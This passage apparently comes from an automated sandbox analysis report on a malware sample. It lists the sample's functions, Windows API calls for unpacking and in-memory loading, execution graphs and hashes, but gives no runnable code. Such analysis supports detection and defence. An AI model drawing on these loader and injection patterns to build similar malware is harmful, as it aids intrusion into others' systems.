                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 0cae673df1dcccc298252c6cb1d087753a000ea560dbf3a75727c984865d924c
                                                                                                                                                                                                                                                                • Instruction ID: 1dabb258173db235a1d95cfc95eeffc66b9799adec5ca63ac31477e601607a68
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0cae673df1dcccc298252c6cb1d087753a000ea560dbf3a75727c984865d924c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7701D675308204F7DB00ABD08C81AAE32689F40314F708177F613B81F0EA3D8612EB5B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E7C7A6 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E7C7F7
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2273859448.0000000002E79000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E79000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_2e79000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction ID: 586777b5d96611c5d1b02aeaa96af94dbd93f17accbce0ded15377ac0cbe4c8d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4A112B79A40208EFDB01DF98C985E98BBF5AF08351F1580A5F9489B361D371EA50DF80
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019E7 Relevance: 1.3, APIs: 1, Instructions: 48sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 188fd4d8d6eee7cd557e4d10eb30fffa0ab7ddb0591dde503fad6877693a3d2c
                                                                                                                                                                                                                                                                • Instruction ID: 9426f979ca713991860f9ea44d55cd4c2553d935c0e8181050f05289ed5f003d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 188fd4d8d6eee7cd557e4d10eb30fffa0ab7ddb0591dde503fad6877693a3d2c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D401A776309204FBDB00AA959C41AAE37689F45310F204477F607B80F1E67D9A12AB2B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 00416F60 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 214timenetworkCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetConsoleAliasesA.KERNEL32(00000000,00000000,00000000), ref: 00416F9C
                                                                                                                                                                                                                                                                • InterlockedDecrement.KERNEL32(?), ref: 00416FFA
                                                                                                                                                                                                                                                                • FindAtomW.KERNEL32(00000000), ref: 00417001
                                                                                                                                                                                                                                                                • DeviceIoControl.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 00417034
                                                                                                                                                                                                                                                                • GetComputerNameW.KERNEL32(00000000,00000000), ref: 0041703C
                                                                                                                                                                                                                                                                • SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041705D
                                                                                                                                                                                                                                                                • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00417064
                                                                                                                                                                                                                                                                • AddAtomW.KERNEL32(004259A0), ref: 0041706F
                                                                                                                                                                                                                                                                • GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 0041707E
                                                                                                                                                                                                                                                                • EnumDateFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00417087
                                                                                                                                                                                                                                                                • FatalAppExitW.KERNEL32(00000000,00000000), ref: 00417098
                                                                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,004259B0,?), ref: 004170B2
                                                                                                                                                                                                                                                                • GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004170D5
                                                                                                                                                                                                                                                                • DnsHostnameToComputerNameA.KERNEL32(004259E8,?,?), ref: 004170ED
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(00000000,00000000,?,00000000), ref: 004170FE
                                                                                                                                                                                                                                                                • TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 0041710E
                                                                                                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(00000000), ref: 00417115
                                                                                                                                                                                                                                                                • OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 0041711E
                                                                                                                                                                                                                                                                • CompareStringA.KERNEL32(00000000,00000000,004259FC,00000000,004259F4,00000000), ref: 00417132
                                                                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0041722C
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271576518.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_40b000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Directory$AliasesAtomComputerConsoleCurrentNameTime$CommCompareConfigControlCreateDateDecrementDefaultDeviceEnumEnvironmentExitFatalFindFormatsFreeHandleHostnameInfoInterlockedLengthLocalLocaleModuleOpenSpecificStringStringsSystemTimerWaitable
                                                                                                                                                                                                                                                                • String ID: tl_
                                                                                                                                                                                                                                                                • API String ID: 2857236428-2653253968
                                                                                                                                                                                                                                                                • Opcode ID: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction ID: 4add722cede9742cf76e1a2b963be5d600fbe8ad6542a85e0dea111a94a072b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 017193B1904304AFD320AF61AC85EAB77BCFB88355F41493EF64692151D6389C868F6A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417FBB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271576518.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_40b000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction ID: 82afaeb7f64d180c7b28ae2bd096279a215c28af4da0ac6246f1dd20e6f8dfff
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8117E3200414EBBCF125E84DC01CEE3F73BB1C394B19841AFA1858131C73AC9B6AB85
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:3%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:41.9%
                                                                                                                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                                                                                                                Total number of Nodes:62
                                                                                                                                                                                                                                                                Total number of Limit Nodes:6
                                                                                                                                                                                                                                                                execution_graph 7309 417240 7310 41725c 7309->7310 7311 417284 WriteConsoleOutputCharacterA GetTimeZoneInformation 7310->7311 7313 4172ae 7310->7313 7311->7310 7312 41735b 7319 416f60 7312->7319 7313->7312 7314 4172d9 ReadFile GetVolumeInformationA 7313->7314 7314->7313 7316 417360 7341 416540 LoadLibraryW GetProcAddress VirtualProtect 7316->7341 7342 416e00 LoadLibraryA 7316->7342 7320 416f90 7319->7320 7321 416f96 GetConsoleAliasesA 7320->7321 7324 416fb7 7320->7324 7321->7320 7322 41721b 7321->7322 7323 417228 CreateDirectoryW 7322->7323 7322->7324 7323->7324 7325 416ff5 InterlockedDecrement FindAtomW DeviceIoControl GetComputerNameW 7324->7325 7326 4170b8 7324->7326 7329 417053 SetDefaultCommConfigW FreeEnvironmentStringsA AddAtomW GetCurrentDirectoryA EnumDateFormatsW 7325->7329 7327 4170c8 7 API calls 7326->7327 7333 41713f 7326->7333 7327->7333 7331 417096 FatalAppExitW 7329->7331 7332 41709e 7329->7332 7330 41715d 7344 416e00 LoadLibraryA 7330->7344 7331->7332 7332->7326 7334 4170a7 GetModuleHandleExW 7332->7334 7343 416510 LocalAlloc 7333->7343 7334->7326 7336 4171a0 7345 416540 LoadLibraryW GetProcAddress VirtualProtect 7336->7345 7338 4171a5 7346 416ef0 7338->7346 7340 4171aa 7340->7316 7341->7316 7342->7316 7343->7330 7344->7336 7345->7338 7351 416e70 7346->7351 7349 416f14 FreeEnvironmentStringsA CreateNamedPipeW FileTimeToLocalFileTime 7350 416f52 7349->7350 7350->7340 7352 416e81 HeapCreate LoadLibraryA 7351->7352 7353 416e95 7351->7353 7352->7353 7353->7349 7353->7350 7354 2f2bc97 7355 2f2bca6 7354->7355 7358 2f2c437 7355->7358 7364 2f2c452 7358->7364 7359 2f2c45b CreateToolhelp32Snapshot 7360 2f2c477 Module32First 7359->7360 7359->7364 7361 2f2c486 7360->7361 7363 2f2bcaf 7360->7363 7365 2f2c0f6 7361->7365 7364->7359 7364->7360 7366 2f2c121 7365->7366 7367 2f2c132 VirtualAlloc 7366->7367 7368 2f2c16a 7366->7368 7367->7368 7368->7368 7369 2e6003c 7370 2e60049 7369->7370 7382 2e60e0f SetErrorMode SetErrorMode 7370->7382 7375 2e60265 7376 2e602ce VirtualProtect 7375->7376 7378 2e6030b 7376->7378 7377 2e60439 VirtualFree 7381 2e604be LoadLibraryA 7377->7381 7378->7377 7380 2e608c7 7381->7380 7383 2e60223 7382->7383 7384 2e60d90 7383->7384 7385 2e60dad 7384->7385 7386 2e60238 VirtualAlloc 7385->7386 7387 2e60dbb GetPEB 7385->7387 7386->7375 7387->7386

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 00416540 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 233librarymemoryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 0 416540-416df2 LoadLibraryW GetProcAddress VirtualProtect
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(02BD0098,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 00416DBB
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00425990), ref: 00416DC7
                                                                                                                                                                                                                                                                • VirtualProtect.KERNELBASE(02BCDF9C,02BD041C,00000040,?), ref: 00416DE6
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443843936.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_40b000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressLibraryLoadProcProtectVirtual
                                                                                                                                                                                                                                                                • String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
                                                                                                                                                                                                                                                                • API String ID: 3509694964-975362989
                                                                                                                                                                                                                                                                • Opcode ID: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction ID: b37eaada4d46ce99a4b5b943d25e2fc503fef666af0764f97da6d79e46e4af49
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C102B5B450A384CBD2B09F469699BCEBBE0BB91744FA08E0CD6DD1A210DB754489CF96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E6003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1 2e6003c-2e60047 2 2e6004c-2e60263 call 2e60a3f call 2e60e0f call 2e60d90 VirtualAlloc 1->2 3 2e60049 1->3 18 2e60265-2e60289 call 2e60a69 2->18 19 2e6028b-2e60292 2->19 3->2 24 2e602ce-2e603c2 VirtualProtect call 2e60cce call 2e60ce7 18->24 21 2e602a1-2e602b0 19->21 23 2e602b2-2e602cc 21->23 21->24 23->21 30 2e603d1-2e603e0 24->30 31 2e603e2-2e60437 call 2e60ce7 30->31 32 2e60439-2e604b8 VirtualFree 30->32 31->30 34 2e605f4-2e605fe 32->34 35 2e604be-2e604cd 32->35 38 2e60604-2e6060d 34->38 39 2e6077f-2e60789 34->39 37 2e604d3-2e604dd 35->37 37->34 41 2e604e3-2e60505 37->41 38->39 44 2e60613-2e60637 38->44 42 2e607a6-2e607b0 39->42 43 2e6078b-2e607a3 39->43 55 2e60517-2e60520 41->55 56 2e60507-2e60515 41->56 46 2e607b6-2e607cb 42->46 47 2e6086e-2e608be LoadLibraryA 42->47 43->42 45 2e6063e-2e60648 44->45 45->39 48 2e6064e-2e6065a 45->48 50 2e607d2-2e607d5 46->50 54 2e608c7-2e608f9 47->54 48->39 53 2e60660-2e6066a 48->53 51 2e607d7-2e607e0 50->51 52 2e60824-2e60833 50->52 58 2e607e4-2e60822 51->58 59 2e607e2 51->59 61 2e60839-2e6083c 52->61 60 2e6067a-2e60689 53->60 62 2e60902-2e6091d 54->62 63 2e608fb-2e60901 54->63 57 2e60526-2e60547 55->57 56->57 64 2e6054d-2e60550 57->64 58->50 59->52 65 2e60750-2e6077a 60->65 66 2e6068f-2e606b2 60->66 61->47 67 2e6083e-2e60847 61->67 63->62 68 2e60556-2e6056b 64->68 69 2e605e0-2e605ef 64->69 65->45 70 2e606b4-2e606ed 66->70 71 2e606ef-2e606fc 66->71 72 2e6084b-2e6086c 67->72 73 2e60849 67->73 75 2e6056f-2e6057a 68->75 76 2e6056d 68->76 69->37 70->71 77 2e606fe-2e60748 71->77 78 2e6074b 71->78 72->61 73->47 79 2e6057c-2e60599 75->79 80 2e6059b-2e605bb 75->80 76->69 77->78 78->60 85 2e605bd-2e605db 79->85 80->85 85->64
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02E6024D
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_2e60000_BDBB.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID: cess$kernel32.dll
                                                                                                                                                                                                                                                                • API String ID: 4275171209-1230238691
                                                                                                                                                                                                                                                                • Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction ID: 2c17478172690a107c3299a01ac1a8b0c37f4921c3acd907b00629528f466806
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C7526974A41229DFDB64CF68C984BACBBB1BF09314F1480D9E94DAB351DB30AA85DF14
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417240 Relevance: 6.1, APIs: 4, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 86 417240-41725a 87 417265-41726c 86->87 88 4172ae-4172b5 87->88 89 41726e-417282 87->89 90 4172c0-4172c7 88->90 91 417284-4172a6 WriteConsoleOutputCharacterA GetTimeZoneInformation 89->91 92 4172ac 89->92 94 41735b call 416f60 90->94 95 4172cd-4172d7 90->95 91->92 92->87 101 417360 94->101 96 417312-417319 95->96 97 4172d9-41730c ReadFile GetVolumeInformationA 95->97 99 417336-417340 96->99 100 41731b-417331 96->100 97->96 102 417342-41734c 99->102 103 417356 99->103 100->99 105 417360 call 416e00 101->105 106 417360 call 416540 101->106 102->103 104 4172b7-4172bd 103->104 104->90 105->101 106->101
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 0041729E
                                                                                                                                                                                                                                                                • GetTimeZoneInformation.KERNEL32(00000000), ref: 004172A6
                                                                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004172E3
                                                                                                                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00425A0C,?,00000000,?,?,?,?,00000000), ref: 0041730C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443843936.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_40b000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Information$CharacterConsoleFileOutputReadTimeVolumeWriteZone
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1899384576-0
                                                                                                                                                                                                                                                                • Opcode ID: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction ID: ef4d97432ea2fe8a7f2abcc2df7d08abe3d2dcf359d447f37c96963e17b975b7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9831A271E48208DFDB20DF90DD05BEE77B4FB44305F50856AE61497280E7B8168ADF9A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02F2C437 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 107 2f2c437-2f2c450 108 2f2c452-2f2c454 107->108 109 2f2c456 108->109 110 2f2c45b-2f2c467 CreateToolhelp32Snapshot 108->110 109->110 111 2f2c477-2f2c484 Module32First 110->111 112 2f2c469-2f2c46f 110->112 113 2f2c486-2f2c487 call 2f2c0f6 111->113 114 2f2c48d-2f2c495 111->114 112->111 118 2f2c471-2f2c475 112->118 119 2f2c48c 113->119 118->108 118->111 119->114
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02F2C45F
                                                                                                                                                                                                                                                                • Module32First.KERNEL32(00000000,00000224), ref: 02F2C47F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2445721326.0000000002F29000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F29000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_2f29000_BDBB.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFirstModule32SnapshotToolhelp32
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3833638111-0
                                                                                                                                                                                                                                                                • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction ID: 05ee66c77414386068e545b56e2a6b0283b31769b32628d0e795348db7e358ec
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8DF09C315007216BD7303BF59D8CF7F76E8AF466A4F11052AE742D10C0DB74E8494651
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E60E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 120 2e60e0f-2e60e24 SetErrorMode * 2 121 2e60e26 120->121 122 2e60e2b-2e60e2c 120->122 121->122
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000400,?,?,02E60223,?,?), ref: 02E60E19
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000000,?,?,02E60223,?,?), ref: 02E60E1E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_2e60000_BDBB.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorMode
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2340568224-0
                                                                                                                                                                                                                                                                • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction ID: 28c3caf18625e286e4105c20398b6b566e143aab27023d98cbab76052a1f0c0e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7ED0123158513877DB002AD4DC0DBDD7B1CDF05BA6F008011FB0DD9080C770954046E5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00416E00 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 123 416e00-416e36 LoadLibraryA
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNELBASE(0042AA08,004171A0), ref: 00416E30
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2443843936.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_40b000_BDBB.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: LibraryLoad
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1029625771-0
                                                                                                                                                                                                                                                                • Opcode ID: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction ID: b768ad7acdfe99bd2b25a1756404c66c4bff643dc40a8127fb68b818656ca87f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BDD092247552C0DBCA21CF50BB097043E61AF51704BD0906999512AA22D3B80166CB1F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02F2C0F6 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 124 2f2c0f6-2f2c130 call 2f2c409 127 2f2c132-2f2c165 VirtualAlloc call 2f2c183 124->127 128 2f2c17e 124->128 130 2f2c16a-2f2c17c 127->130 128->128 130->128
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02F2C147
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000005.00000002.2445721326.0000000002F29000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F29000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_5_2_2f29000_BDBB.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
